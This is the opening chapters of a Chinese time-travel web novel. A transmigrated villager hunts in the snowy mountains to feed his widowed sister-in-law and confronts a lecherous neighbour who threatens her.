《乱世饥荒:我打猎带嫂嫂吃香喝辣》
第一卷 第1章 嫂嫂,我穿你的袄
奉阳府,白山县。
初冬的白山,被一场突如其来大雪覆盖。
大雪下了一昼夜,今早放晴。
窝窝村,村西头一间破落的小院。
一名身着麻布袄,年纪大约十八九岁,容貌秀丽的少女出现在院中。
双手小心翼翼的捧着一个冒着热气的破木碗,深一脚浅一脚,费力前行。
“铛铛铛!”
“叔叔你起来了吗,今天早些把饭吃了。”
少女温柔且清脆的声音,呼唤屋内男子。
陈息从干草堆中醒来,剧烈的刺痛感,使他不由得晃了晃脑袋。
看了半晌破败的屋子,眼神逐渐清澈,随后认清了状况。
我这是穿越了。
还是一个不知名的古代社会!
“咯吱——”
“叔叔我进来了。”
就在陈息整理脑子记忆时,一身穿麻布袄的漂亮女子,低着头一脸羞涩,推开房门一角:
“叔叔,今日大雪封山,你吃了饭莫要乱走,嫂嫂再去寻些吃食。”
望着眼前漂亮女子,一段记忆涌入脑海。
樊妍,自己的嫂嫂,也可以说是名义上的。
原因,上个月哥哥进山打猎,不幸被熊瞎子咬死。
刚过门第一天,还没有洞房,哥哥就死了,她便成了寡妇。
这跟谁去说理,若在后世,花样年龄本该是无忧无虑的。
可如今却成了寡妇,还要照顾这个家。
“叔叔,为何不回我?”
“莫不是痴症又发作了。”
见状,樊妍心中焦急,声音不禁提高了几分,继续追问。
干草堆里的陈息回过神来,神情复杂的看了眼樊妍。
又顺着她身后门缝,看到白茫茫一片大雪,甚是晃眼。
樊妍手里端着一个热气腾腾的破木碗,雪痕淹在膝盖处,陈息心中泛起一丝感动。
“嫂嫂,这雪太大了,还是我去吧!”
陈息说着话,便从干草堆中爬起身,想要到院子里打扫积雪。
殊不知,此时的他全身上下仅有一条遮羞短裤。
“呀,叔叔......快..快背过身去。”
看着陈息光溜溜的身子,樊妍俏脸羞红一片,立刻转身,双手死死捂住了脸。。
听闻樊妍惊叫,陈息迅速抓起身边一把干草遮住身子,尴尬的挠了挠头。
“嫂嫂莫怪,那个...那个...我起猛了!”
其实,陈息并不是故意不穿衣服的。
第一、他刚穿越过来,脑子还处于宕机状态。
第二、哥哥走的过于突然,嫂嫂将陈息唯一的一身麻布衣服给哥哥穿了下葬。
村里有个风俗,无论生前多么穷苦,死后也要多穿几件衣服。
不然到了下面,会让人看不起。
“叔叔先吃饭吧,莫要想其他的事,今日定不可乱走。”
樊妍说完话,嘴角泛起一丝酸楚,这是家中最后一点米粮了。
前日在山坳里发现的那片野菜地,如今大雪封山不知还能不能寻到。
她把木碗放在地上转身欲走,哪成想身后传来咯吱声响。
没等她出言询问,眼角余光撇见一个光溜溜身影,从窗边一闪而过。
“嫂嫂,我先去扫雪啦,饭一会再吃。”
跳出窗子,抓了一把雪在身上来回搓了搓,刺激着血液加速流通。
“没有衣服穿,只能这样了。”
陈息无奈一笑。
前身是个傻子,但这具身体很是精壮。
虽然只穿着短裤,但很快便适应了外面温度。
跳到雪堆里,按照记忆挖出一把木铲。
大雪下了一天一夜,此时院里积雪深度已达到膝盖处。
双手捧在嘴前,哈出一口热气用力搓了两下,抡起木铲开始除雪。
不到两刻钟,整个院子积雪被陈息除的干干净净。
咯吱一声推开房门。
陈息浑身冒着热气就走进屋子。
“嫂嫂,院里的雪都打扫干净了!”
还在门口怕小叔子冻个好歹的樊妍,突然见陈息光着身子进屋。
经历了风雪洗礼,身子油光锃亮,肌肉线条愈加分明。
樊妍俏脸再次被羞的通红。
“呀......叔叔你......你快进屋去。”
陈息尴尬一笑立马回屋,抓起干草挡住重要部位。
樊妍一张俏脸再次被羞红,连忙低头转身,做鹌鹑状。
回身看了眼干净的院子,想说什么,却突然惊叫一声:
“这......这......都你干的?”
陈息被问的有些懵圈,不是我干的谁干的?
刚热个身,雪就除完了。
“对呀嫂嫂,我刚干的。”
说完这句话,陈息才想起来,前身是个傻子,干活哪里会这么利索。
但话已说出口,后悔已经晚了,只能装做不解。
樊妍被惊掉了下巴,这傻叔叔啥时候这么会干活了?
满院的积雪,这么会的功夫就清扫干净了?
这......这还是那个傻子吗?
“叔叔,你...过来点,靠我近点,头低点。”
樊妍低着头,声若蚊蝇,紧张的要死。
别误会,她可不是有什么非分之想,只是为了看看陈息眼睛,确定他的痴症是否真的好了。
“来了。”
陈息一个跨步向前,直直的贴在樊妍身前不足10厘米处。
“呀!莫要这么近...”
闻言,陈息不为所动,嘴角闪过一丝坏笑。
此刻在他眼里的嫂嫂,宛如一个纯真的邻家女孩。
担心,羞涩,还有为嫂的责任。
樊妍快速的抬眼,瞄了一眼,之后又赶紧低头。
再之后,又觉得没看清,于是又又一次,抬起头,认真仔细的查看那双清澈、闪着精光的眼睛。
“你......你的傻病好了?”
二人如此近距离接触,感受嫂嫂温热口气喷在脸上。
一股少女芬芳涌入口鼻,下身莫名躁动。
陈息死死压住心中异样情愫,尴尬的挠了挠头:
“我昨晚睡了一觉,就感觉脑子清明多了,干活也懂了章法!”
樊妍将双手撤开,捂住自己的小嘴。
双眼满是不可置信。
缓了半晌,才含着泪水带着哭腔道:
“不傻了就好,不傻了就好,呜呜呜!”
娘家为了少交人头税,将自己送到送亲队。
万幸的是自己居然被猎户选走,要知道这可是吃香的职业。
当时的她被其他女子狠狠的羡慕了许久。
可刚过门还没圆房,猎户丈夫便死了。
自己不但成了寡妇,还要照顾一个傻叔叔。
她本想一死了之,可自己死了,傻叔叔更没了依靠。
善良的她选择照顾傻叔叔,二人相依为命拼力活着。
家中无粮,大雪封山还要出门挖野菜。
许是苍天有眼,傻叔叔的痴症竟然好了,这可真是天大的幸事。
“病好了就好,好了就好。”
“叔叔你在家别乱跑,嫂嫂去挖野菜给你吃。”
樊妍激动的擦了擦眼泪,就要出门挖野菜。
虽然小叔子病好了,但家里已经没有了粮食。
今年的人头税还没交,叔叔也没有衣服穿。
叔叔的傻病好了,让这个苦命女人找到继续生存下去的动力。
昨天的那片野菜地,大雪封山也不知今日还能不能寻到。
“嫂嫂莫急,我已经好了,左右不过是些吃食,就凭我这大身板子。”
“天上的龙肉没有,地下的驴肉......啊呸,袍子肉还是没啥问题的。”
言罢,不给樊妍反驳机会,顺着记忆找出哥哥生前留下的猎弓和猎刀。
哥们穿越之前可是熟读赤脚医生、土法炼钢的荒野求生专家。
不就是打猎嘛,轻而易举的事。
有一句话咋说来着,我来过,我见证,我...反正我很牛逼!
“小叔叔别,你这病刚好,再说也没见过你打猎,听老人说打猎很危险的......”
樊妍紧张的拦住陈息,手指轻轻一抬,指向他裸露的壮实胸肌。
“没衣服......出去会被冻死的......”
樊妍担心之色溢于言表,生怕刚刚病好的小叔叔再出现什么意外。
陈息则是神秘一笑,环视左右:
“嫂嫂我和你说,我昨夜被仙人点醒......可是学到了真本事。”
“莫说打猎,织补绣花也不再话下。”
“你等我,给你猎一个上好的皮毛,咱也做个贵人才能穿的皮袄。”
樊妍被惊的小嘴张开,仿佛能塞下一个鸡蛋。
如果所言属实,那她以后的日子可就有了盼头。
莫非真要像他哥哥临终前,说的那样吗?
“嫂嫂,那个......打猎我自然不在话下,但是吧,那啥...外面太冷了......你懂哦!”
“你一定懂哦!”
樊妍有些不明所以,什么自己就懂嘛。
但见他直勾勾盯着自己的袄,错愕了一瞬,突然听懂了陈息话中意思。
“哎呀,你......你......”
樊妍这次羞臊的脸红到了耳根。
一只小手捂着胸襟,红着脸低着头,身子扭到一边去,紧张的不敢看陈息。
陈息也不接话,就这么满眼渴求的盯着樊妍身子。
他也无奈啊,自己衣服给哥哥穿了下葬,如今家里只剩下自己和嫂嫂。
还有嫂嫂身上的那套袄......
樊妍内心挣扎了许久,自己也只有这一身衣服,他把衣服穿走了,自己可就光溜溜了呀。
一个妇人光溜溜呆在家里,像什么话嘛。
樊妍见陈息不搭话,红着脸扭过身子,对上陈息坚定的眼神。
心里挣扎了好一会,终于一咬牙:
“你......你别过身去,待会我喊你,你再转过来。”
陈息听话的别过身去,身后传来一声叹息,紧接着就是一阵窸窸窣窣声音。
“咯吱——”
嫂嫂房间门关上,才丢来一道羞怯声:
“衣服在柴垛上,打不到猎物不要紧,注意安全。”
“早些回来。”
第一卷 第2章 有账不怕算
陈息连忙套上嫂嫂的袄。
好紧啊。
袖子不比前世穿的半袖长多少,蹬了好几下才把粗壮的大腿伸进嫂嫂棉裤。
说是棉裤,其实一点棉花都没有,里面多缝了几层麻布而已。
到了夏天再把里面的麻木内衬拆下来,又是一套夏衣。
在灶台边搓了几根草绳系在腰间。
陈息腰粗,裤子是提不上去了,勉强遮住重要部位而已。
全靠几条草绳系上,免得跑起来掉了棉裤。
活动了几下肩膀,又做了几个高抬腿。
还行,不影响活动。
拿起猎弓在手中仔细看了一遍。
唉,还是太落后了啊。
不过也能将就着用,等以后条件允许了,定要打造一把复合弓。
这样才能猎杀大型猛兽,那种高贵的皮毛可是能换许多钱呢。
想到家中情况,陈息嘴角一抽,太穷了啊。
既然都来了,不把日子过好,都对不起这穿越者的身份。
背起猎弓,腰间插上几只哥哥生前做的羽箭和那把猎刀,推开房门之前冲屋内喊了一句:
“嫂嫂我走了。”
“嗯,早些回来。”
“好。”
樊妍身体贴着土墙壁,视线透过窗子一直目送陈息离开。
俏脸之上写满了担忧。
从人人都羡慕的猎户妻子,到带着傻小叔艰难讨生活的寡嫂。
身份的落差与生活的艰辛,只能樊妍独自面对。
好在老天有眼,叔叔傻病好了,不求能当个猎户,只求他平平安安。
樊妍靠在土墙,抓了些干草盖在身上,口中轻声呢喃,眼中神色复杂难明。
“叔叔,一定要安全归家,嫂嫂等你!”
陈息走出院子,村路上已经有早起的妇人扫雪。
见陈息这身打扮出门,众人都是一愣。
紧接着几个妇人也都放下手里的活,开始打趣道:
“哟,小息你咋出门了,还穿着袄。”
“咦?这袄怎么这么眼熟,莫不是......”
几个妇人边说着话,边围到陈息身前开始左看右看,还有妇人上前摸了一把。
“哎呀,这不是你嫂嫂的袄嘛,你咋给穿出来了?”
“我说的嘛,这袄咋这么眼熟,原来是你嫂嫂的。”
“咯咯咯,你把你嫂嫂的袄穿出来,你嫂嫂在家岂不是光溜溜了?”
“还背着猎弓哟,咱小息以后当上了猎户,官府还给发三个婆娘哩。”
众妇人嬉笑着,把陈息围在中间七嘴八舌,可把陈息臊红了脸。
记忆中这群妇人还不错,就是爱嚼舌根子。
哥哥死后,嫂嫂一个女人养活自己,她们也都接济过嫂嫂。
朝廷连年征战,村里的壮丁都被征召到前线。
粮食同样被征走,百姓们都拼命劳作为了一口吃的。
白山县群山环绕,百姓能挖点野菜充饥还算好些,听说隔壁县都传来人吃人的现象了。
大家同样是穷苦人,她们还接济过嫂嫂,人情冷暖可见一斑。
就在陈息想要打个哈哈糊弄过去时,一道尖酸刻薄声传来:
“陈老二,回去告诉你嫂嫂,前些天借我们家的五斤粟米尽快还回来。”
一个满脸横肉的妇人扛着扫把,一扭一扭的来到面前。
“如今这大雪封山的,谁家也没有多余的粮食。”
满脸横肉的妇人走到陈息身前,冷眼刮了他一下。
双臂叉在胸前,一副高傲姿态。
“顾兰,如今这大雪封山的,你让陈家嫂嫂咋还你嘛,等到开春嘛,又不是不还你。”
“人家陈家嫂嫂照顾小息都够苦了,你还有没有点同情心啊。”
“就是就是,你家还能少吃食了?人家陈家嫂嫂家里都什么情况了,逼什么逼嘛。”
顾兰见众妇人都将矛头指向自己,顿时掐着腰,扯着高八度的嗓门叫喊起来:
“哟,一个个都帮陈嫂嫂说话是吧?”
“自己男人死了,是她克夫的命,但欠我的粟米就不需要还了是吧?”
“养活个傻子还养出理了?傻子都把他嫂嫂的袄穿出来了,都看不出来怎么回事吗?”
顾兰此言一出,陈息心头莫名火起。
根据前身记忆,哥哥在世时这顾兰对自己态度还算可以。
可哥哥死后,这顾兰立即就换了副嘴脸。
她是借给嫂嫂五斤粟米,可她逼着自己帮她家砍了三天的柴还债,早都已经还完了。
如今还来要债,真当我还是那个傻子好欺负是吧?
还诬陷自己和嫂嫂关系,这恶妇当真歹毒。
陈息想要上前给这恶妇点教训,突然被一声大吼打断。
“都吵吵什么呢?”
王麻子听见争吵声,扛着一把木铲向人群走来。
顾兰见自家男人来了,底气更加足了。
“麻子,这群婆娘欺负我,还有那个傻子,傻子也欺负我。”
刺耳的尖叫声传的老远,顾兰指着陈息诬陷:
“傻子把他嫂嫂的袄都穿出来了,指不定在家都干了些什么见不得人的事了。”
妇人们见王麻子来了,气势顿时弱了几分,但还有一名年岁稍大的妇人站了出来。
“顾兰你不要乱说,陈家嫂嫂的品行我们都清楚,绝不可能和小息有染。”
妇人们见有人站出来替陈嫂嫂说话,也开始小声附和起来。
“就是就是,陈家嫂嫂虽然穷苦,但绝不会做出这种事。”
“欠你粟米就说粟米嘛,扯什么人家叔嫂。”
“再说了,人家小息也帮你家砍了好几天的柴,就不能等着开春再还嘛。”
顾兰看自己男人都来了,那帮妇人还敢针对自己,顿时就急了:
“麻子你快撕烂她们的嘴,竟敢顶撞老娘。”
王麻子大概听懂了事情经过,连忙给顾兰使眼色。
自己确实逼傻子给自家干活了,再说下去可就没理了。
“你这婆娘,我不是说了嘛,陈家嫂嫂不容易,等开春再还。”
王麻子一边说一边使眼色,示意顾兰闭嘴。
村里老百姓虽然穷,但还是重名声的。
有这五斤粟米的由头,那陈家嫂嫂还不是随便自己欺负。
想着那刚过还没圆房,细皮嫩肉的陈家嫂嫂,王麻子内心就一阵骚动。
再瞅瞅眼前自己的肥婆娘,王麻子一阵厌恶。
“去去去,赶快回家做饭去。”
顾兰知道自己不占理,不能太咄咄逼人,白了一眼众妇人,哼了一声扭头回家去了。
顾兰走后,王麻子嬉皮笑脸的走到陈息身边:
“小息啊,你这是要干嘛去啊?”
陈息冷眼扫了一下王麻子,看他那嬉皮笑脸的,心中一阵厌恶。
哥哥死后这一个月,他可没少欺负傻子前身,甚至当着自己面还想骚扰嫂嫂。
幸亏嫂嫂及时躲过,不然这畜生指不定还要怎样。
这笔账,自己可记在心里。
“我去寻些吃食。”
一听陈息要出去寻吃食,王麻子顿时计上心来,咧嘴一笑道:
“正好我知道地方,前天我上山发现一片野菜地,就在西坳岭,你去多挖些回来给嫂嫂吃。”
“这大雪封山的,猛兽都不出来,正好趁现在去挖。”
西坳岭,陈息听见这个名字心中一阵刺痛。
正是哥哥被熊瞎子咬死的地方,下了这么大雪,居然骗自己去那里挖野菜。
别说大雪封山了,那片野菜地可是食草动物的觅食地,附近猛兽都会守在那里。
他这是要害死自己啊,当真是好算计。
“好,谢谢你。”
陈息心里清楚王麻子在打什么算盘,但嘴上依旧装傻答应。
见陈息这么听话,王麻子更加兴奋。
先把这傻子害死,到时候那细皮嫩肉的嫂嫂,还不是随便自己揉圆捏扁。
没事借给她点粮食,自己不用娶她还能睡她。
少交一个人头税的情况下,还能发泄欲火。
想到这里,王麻子得意的嘴都要咧到耳朵根了。
“好好好,那你快去吧。”
陈息和那几个帮自己说话的妇人打了声招呼,淌着大雪进山。
望着白茫茫的雪山,陈息眼神逐渐坚毅。
先解决眼下吃食和衣服问题。
和王麻子的账,咱们慢慢算。
第一卷 第3章 嘿嘿,傻狍子!
陈息一路淌雪来到山前,找了一片正阳的山坡,爬了上去。
由于下雪时候刮的北风,正阳山坡积雪不深,但山坳处积雪估算着至少有2米。
至于王麻子口中的西坳岭野菜地,肯定是要去的。
但不是挖野菜,谁能从2米深的积雪中挖野菜?至少陈息暂时是做不到的。
前身曾帮哥哥扛猎物来过这里,对这边山林的路线很是熟悉。
熟悉路线无疑省去了大麻烦。
不然白茫茫的大山,真不好辨别方向。
一路顺着阳坡爬到山尖,陈息轻喘了几口气。
该说不说,这具身体是真给力,淌着大雪从山脚到山尖,少说也得有五公里。
只用了不到半个时辰陈息便做到了,这身体素质放在后世绝对是奥运选手级别。
轻喘了几口气,阳光洒在雪地上,反光的刺眼。
陈息单手弓起放在眉毛上,眺望一下四周,看看附近有什么猎物踪迹。
“咔嚓——”
“咔嚓——”
突然一阵阵巨响传来,远处一大片松树被积雪压断。
由于松枝繁密,承担了全部积雪重量,树干从根部断裂被积雪压塌。
哦?
见大雪压断松树,陈息知道运气来了。
作为顶级野外生存专家,陈息迅速嗅到猎物气味。
那片压断的松树,必然有树洞,不然不可能这么轻易断裂。
既然有树洞,那么就会有......
陈息双眼放光嘿嘿一笑,随即朝着那片松林大步而去。
一刻钟后,陈息淌着齐膝深的大雪来到松林。
眼前大片的松树倒塌,陈息开始挨个查看树干断裂处。
不多时便找到了树洞!
一棵成年人环抱粗的松树断裂,树干中间则是空的,隐约间里面还有吱吱声。
陈息轻声上前,脑袋轻轻探向树洞。
只见一只松鼠正在挽救自己的窝。
两只小爪子中还抱着一颗硕大的坚果。
松鼠见有人前来,一双小眼睛瞪的老大,一时竟愣在那里。
由于洞口被陈息堵住,里面的松鼠在想脱身办法。
“还吃,收你们来啦!”
陈息嘿嘿一笑,一根手指轻松打掉松鼠手里坚果,随即一把将松鼠捏在手里。
握着肥嘟嘟的小松鼠,陈息心中乐开了花。
还是一只少见的红色松鼠,长长的大尾巴还是深红。
深红色的尾巴在阳光下绚彩多姿。
这柔软的皮毛,手感比起后世貂皮大衣也不遑多让。
刚才出门时,看见别的妇人都戴着毡帽,家里的嫂嫂却是没有。
印象里嫂嫂每天都出门挖野菜,回来时耳朵都冻的红红的。
煮的野菜粥也都是紧着自己先吃,自己吃剩的嫂嫂才吃。
想到这里,陈息心中一阵发酸。
现在我穿越过来,绝不允许嫂嫂再忍饥挨饿。
心中暗暗发誓。
“哼,别人有的咱也得有,攒起来回去给嫂嫂做一顶帽子。”
手指用力一捏,一息时间,松鼠毙命。
将松鼠别在腰间草绳上,开始收取战利品。
还别说,这只松鼠的窝存货真不少。
松子,坚果,栗子,还有一些成熟的粟米。
陈息用树枝编制一个简易枝条筐。将所有战利品一股脑装进筐里。
开始寻找下一个目标。
半个时辰过去,翻遍了所有断掉松树的树洞。
枝条筐已经装满,满意的拿在手里掂了掂,大概有个五六斤。
加上腰间的七只松鼠,够自己和嫂嫂美美吃上几顿了。
七只松鼠虽然不够做一顶帽子,但起码能把耳朵先围起来,不至于冻坏嫂嫂的耳朵。
剩下的头顶部分,再慢慢攒。
一顶漂亮的松鼠帽,在陈息脑海逐渐成型。
起身再次辨别一下方向,沿着原路走到山腰,突然朝着西面而去。
他要去西边,因为在脚下已经发现兽痕,方向直指西坳领。
一来是想碰碰运气。
二来则是到西坳领观察一下兽痕,附近都有什么动物他要做到心中有数。
花费了半个时辰,陈息顺利到达西坳岭岭上。
爬上一棵枯树,四下眺望一圈,倒是发现了不少兽痕。
不过都是些野鸡、野兔类,偶尔掺杂着几对刺猬足迹。
“看来附近没有猛兽,不然这些野鸡、野兔可不敢出来。”
观察了半响,陈息突然眼前一亮。
远处雪地里一片积雪突然被拱起,里面有不知名的动物在刨着什么。
陈息将猎弓从背后抽出来,捏出一支羽箭搭上弓弦。
虽然羽箭搭上弓弦,但他并不急着射击。
他要观察那是什么动物,以做到一击毙命。
不然射不到致命部位,重伤的猎物会拼命逃窜。
这么深的大雪,自己想要追赶上,可要费好大力气。
而且羽箭珍贵,抓不到猎物,羽箭插在动物身上可就算丢掉了。
等解决了衣食问题,以后的箭支都要亲手制作。
射成和威力都要比现在强出一大截。
陈息很有耐心,远处小雪堆一拱一拱的,迟迟不露身形。
直到一刻钟后,那东西才露出头来。
哈,我当是啥呢。
原来是只野兔,不过这兔子比一般野兔体型要大。
浑身肥嘟嘟的,两只大耳朵忽闪忽闪,警惕的观察了周围一会。
又把头埋进雪中挖着什么。
“呵,就是现在!”
陈息牢牢记住野兔头的位置,弯弓搭箭!
这么近的距离,他自信能做到百发百中。
眼中的野兔被逐渐放大,好似瞄准镜,一点点在眼中聚焦成型。
深吸一口气,然后憋住。
适应心脏震动频率,猎弓被拉成满月。
陈息眼睛眯成一道细线,猛地睁大,就是现在!
“嗖——”
一道破空声响起,由于陈息在树上,羽箭一点抛物线都没有,直直插入野兔所在的雪堆。
“噗——”
雪堆只晃动了一下,便没了动静。
“射到了。”
陈息一跃从树上下来,淌着积雪迅速来到猎物身边。
羽箭没入雪堆,陈息一把揪出羽箭,羽箭箭头已经穿过肥大野兔的头颅。
“嘿嘿,拿下!”
拔出羽箭,抽出腰间猎刀开始迅速放血扒皮。
为什么要这么做呢?
因为嫂嫂的袄小,腰部和肚脐还在外面露着,他需要用野兔皮遮寒。
虽然这副身体素质好,但也不能肆意挥霍。
前面是肚脐,后面是腰子。
哪个冻坏了都不行。
手脚利落的拔下野兔皮,贴在后腰处,然后用草绳扎紧。
由于野兔刚死,皮毛还有体温,暖的后腰一阵酥麻。
“呼——”
陈息舒服的呼出一口长气,腰子可是大事,听说这古代能三妻四妾。
用不用得上另说,但腰子必须强。
至于前面的肚脐,随缘吧。
冻坏了肚子小事,腰子可不行。
看着野兔身躯边缘还有厚厚一层脂肪,陈息心中再次乐开了花。
这可是野兔油,好东西啊。
有了野兔油,嫂嫂那干裂的小手就有保护了。
虽然比不上后世的护手霜,但也能缓解问题。
不然嫂嫂手上干裂的口子,在这个凌冽的寒冬一定会冻伤发炎的。
每当想起嫂嫂用那双干裂的小手,为自己端来野菜粥,陈息都心疼不已。
如此善良的女人,生在这个兵荒马乱的年代,当真是天道不公。
“放心吧嫂嫂,我既然来了,一切都会好起来的。”
将野兔的身子别在腰间,需要换地方了。
这个位置已经有野兔血腥味,附近的猎物不会往这边来。
陈息继续淌雪,从岭上下来,沿着积雪浅的地方一步一步向西坳岭下方行去。
刚来到岭下,陈息突然感觉自己被什么东西盯上了。
这是常年在野外生存锻炼出来的本能。
一种被猎物盯上的感觉迅速蔓延全身。
会不会是熊瞎子啊?
陈息想到这,一阵头皮发麻。
哥哥就是死于熊瞎子之口,现在又盯上自己?
此时的装备不可能是熊瞎子对手,这么深的大雪自己也跑不过熊瞎子啊。
握紧手中猎刀,陈息哆嗦着嘴唇,努力向危险感知方向看去。
这一看不要紧。
陈息先是一愣,然后咧嘴一笑。
哈哈哈,原来是你啊。
只见100米开外,一只狍子在雪地里正和陈息对视。
傻狍子卡巴着它那双大眼睛,一瞬不瞬看着陈息,愚蠢的双眼充满好奇。
陈息咧嘴一笑:
“嘿嘿,傻狍子!”
第一卷 第4章 此心安处是吾乡
陈息站在那里,傻狍子也站在那里。
一人一傻孢子对视许久,双方皆对对方感到好奇。
陈息是看着傻孢子油亮的皮毛眼馋,而傻狍子可能在想,怎么有个傻子怔怔看着自己。
二傻互相凝视。
最终陈息败下阵来,噗通一声往地上一坐。
已是日上三竿,今早的饭食他没有吃,而是留给了嫂嫂。
他清楚,那是嫂嫂用家里最后的野菜,给自己做了一碗野菜粥。
陈息不愿吃,也不能吃。
来都来了,自己一个男人理应扛起家中重担。
话是这么说,但此时肚子已饿的咕咕叫。
掏出筐里的松子、坚果开始吃了起来。
而那狍子见陈息一屁股坐在地上,甚是洋洋得意。
高傲的扬起脑袋,嘴巴还向陈息方向拱了拱。
那意思好像在说:“看吧,你没傻过我。”
陈息没搭理它,咀嚼着嘴中坚果,抓起一把雪塞进嘴里连同坚果一起咽下。
心里清楚傻狍子不会跑的,这货就是山中最贱的货。
没有之一。
你要是起身追它,它就跑。
你追不动了,它就停下来看你。
你再追。
它再跑。
你停下。
它也停下。
活活能把你气死。
陈息在积攒体力,因为这傻狍子正是自己现在最需要的。
将它的筋制成猎套,以后上山一边寻猎,一边打猎。
皮毛给嫂嫂做条毯子,至于嫂嫂的袄,陈息还看不上这只狍子。
嫂嫂的袄,必须是顶级的。
想到顶级的袄,也不知这山中有没有野豹。
到时候嫂嫂穿着一身豹纹......啧啧啧!
先把眼前的傻狍子搞定再说,剩下的慢慢来。
心中有了目标,陈息仔细看着这只狍子
它的肉换了钱给自己买身衣服,不能总穿嫂子的袄出来打猎呀。
自己把嫂嫂的袄穿走了,她光溜溜在家等自己。
像什么话。
捏了捏身上薄薄的袄,这还只是初冬,这么薄的袄,怎能挨过漫长寒冬。
陈息眼眶发酸,先将县里最厚的袄,穿在嫂嫂身上。
然后再解决贵妇人皮草问题。
用力将最后一口坚果咽下,肚中有食,身体迅速恢复体力。
射箭是不可能射箭的。
傻狍子虽然傻,但已经被它注意到,射箭是射不中的。
只能白白浪费羽箭。
这么深的雪,羽箭没入雪中,怎么可能寻到?
复合弓、加强羽箭,必须提上日程。
“呼——”
“舒服。”
将口中坚果咽下缓缓站起,傻狍子见陈息起身,迅速做出警备动作。
四肢肌肉隆起,随时准备逃跑。
陈息将身上所有东西,连同枝条筐一起埋进雪堆。
插根树枝做了个记号,开始活动双手双腿。
“来啊,听说你挺能跑是吧?”
“巧了,鄙人同样善于奔跑。”
背起猎弓,手握猎刀。
呼出一口气,陈息冲着傻狍子一努嘴:
“开始!”
双脚同时发力,身子如猎豹般从雪地窜起。
傻狍子见陈息动了,四肢蹬地同样高高窜起。
就这样。
一人,一傻狍子。
在这荒无人烟,积雪达到半米的西坳岭开始了越野竞赛。
这要是夏天,打死陈息也不可能追上傻狍子。
但这是初冬,而且大雪的深度正好合适。
接下来就是耐力比拼。
陈息嘴角发狠,自己和嫂嫂的一身行头,全在这傻狍子身上。
傻狍子也纳闷。
我也没穿啊。
追我干啥呀。
你嫂嫂光屁股,我也光着呢。
追我干什么?
一人一兽,在这片大雪山里撒开了欢。
方圆五里内,雀鸦横飞,惊起无数野鸡。
还有几只野兔在雪堆里探出脑袋。
懵逼的看着一人一兽,你追我赶,上蹿下跳。
它跑。
他追。
它插翅难飞!
一时间,西坳岭鸡飞狗跳,好不热闹。
半个时辰后。
陈息红着眼,手扶着一棵小树,大口大口的喘着粗气。
傻狍子此时状态也不好,呼出的白气连成一串。
但它就是不走远,依旧隔着50米距离好奇的看着陈息。
“歇九回了,呼呼——”
“事不过九,呼呼——”
“今天一定,呼呼——”
“将你摁住,呼呼——”
陈息喘着粗气,脑门汗珠蒸发腾腾雾气。
牙咬的咯吱咯吱响。
虽然早对这货有所了解,但这货的倔劲还是气的陈息咬牙切齿。
踏马的。
太气人了。
今天就算同归于尽我也得抓住你,先胖揍一顿再说。
傻狍子也不服气啊,你小子挺有耐力啊。
虽然同样喘着粗气,但它不服啊。
仰着脑袋看陈息,好像在说:
“大爷,过来玩呀。”
陈息一看傻狍子那德性,差点气炸了肺。
“老子跟你拼了。”
一人一兽,十番战,正式开启。
如果这个时代有无人机航拍,就能看到两个黑影在雪地里上蹿下跳,左扑右闪。
绝绝的两个牲口。
因为是人,就不可能有那体力。
又是半个时辰过去。
傻狍子实在是坚持不住了。
找个大雪堆,用尽最后力气蹦起来,脑袋深深扎进雪堆里。
“看不见我,看不见我。”
陈息则是踉踉跄跄的晃悠到近前,同样用尽最后力气,蹦起来一脚狠狠踹在傻狍子屁股上。
“砰——”
傻狍子屁股上的肥肉被踹的左右乱颤,但依旧一动不动装死。
陈息用力喘出几口粗气,挣扎着爬起身子。
眼睛通红,咬牙切齿,极致愤怒之下二话不说。
“砰砰砰——”
对着傻狍子裸露在外的屁股,这顿胖揍啊。
傻狍子头埋进雪堆里,一动不动。
他强任他强,脑袋雪中藏。
他横由他横,装死我在行。
打。
使劲打。
只要打不死。
我就装死。
陈息在傻狍子屁股上狠狠发泄一通欲火。
呸......怒火!
陈息打了足足一刻钟,最后将手伸进雪堆里,抓住傻狍子耳朵,一把拎起。
另一只手握着猎刀,“噗——”
先把血放了,这东西太重了,少说也得有六七十斤。
能减一分是一分。
放完了血,陈息躺在雪地上缓了一刻钟,才恢复些体力。
望了一眼太阳,马上就要落山了。
得赶紧回去,不然嫂嫂该着急了。
嫂嫂光溜溜一人在家,都不能出门寻自己。
扛起傻狍子,陈息回到自己做记号的地方。
把所有战利品都挂在身上,辨别一下方向,开始朝家中方向回去。
今天是自己来到这个古代社会,第一次打猎。
收获出奇的好。
七只松鼠,一只肥兔子,半筐松子、还有些粟米。
最大的收获还是肩上这只傻狍子。
满满的成就感,陈息美的合不拢嘴。
太阳落山,月亮升起。
茭白的月光洒在雪地上,借着月光还能看见冰雪之上晶莹颗粒。
星辰闪烁、银月白雪,勾勒出一片梦幻光彩。
“最美的童话,也不过如此吧。”
“呼——”
呵气如烟,散于空中。
“好美!”
望着眼前星辰雪景,陈息似乎也忘记了烦恼。
远处小村落袅袅炊烟,偶尔几户条件好的还燃起莹莹烛火。
“走啦,归家!”
家!
对陈息来讲既遥远,又陌生。
上一世孤儿的他,对家的概念很迷糊。
前世书中有过一段话。
此心安处是吾乡!
可对于陈息来讲,哪里有亲人,哪里便是家。
“世间浮华千点火,不敌灶上一缕香!”
舔了舔唇,继而陶醉一笑:
“想念嫂嫂做的野菜粥了。”
陈息扛起狍子拎着筐,腰间挂着一串猎物,回村推开院门走到屋前。
清了清嗓子,刚想喊出那句。
嫂嫂,我回家了。
却听见屋内,樊妍嘶声尖叫传来。
“啊!你不要过来,不要过来啊。”
紧接着又是一道淫邪男声响起。
“光着身子在家,不是在勾引我,又是什么呢?”
“你那傻小叔子这么晚不回来,和你那死男人一样,都被熊瞎子咬死啦。”
“哈哈哈,只要你从了我,那五斤粟米便不要你还了。”
听到这恶心声音,陈息恨得头发根根竖起。
曹尼玛的,王麻子!
第一卷 第5章 护短的张保全
“砰——”
一脚踹开房门,陈息眼睛通红,眼前一幕令他暴怒达顶点。
樊妍被王麻子逼到墙角,躲到干草堆里吓得瑟瑟发抖。
而灶里火苗还在燃烧,锅中白水煮沸,灶台边还有早上那碗野菜粥。
看得出来,嫂嫂就算光着身子,也要给自己烧开水热粥。
陈息本意将那碗粥留给嫂嫂,可她却没有吃,等着自己回来再吃。
这样一个贤惠善良女人,王麻子你居然忍心欺负。
踏马的,你还是人么?
王麻子正在胁迫樊妍,房门却被人一脚踹开,心中顿时烦躁。
哪个王八蛋敢坏老子好事?
在村里横行惯了,今天我倒要看看是谁。
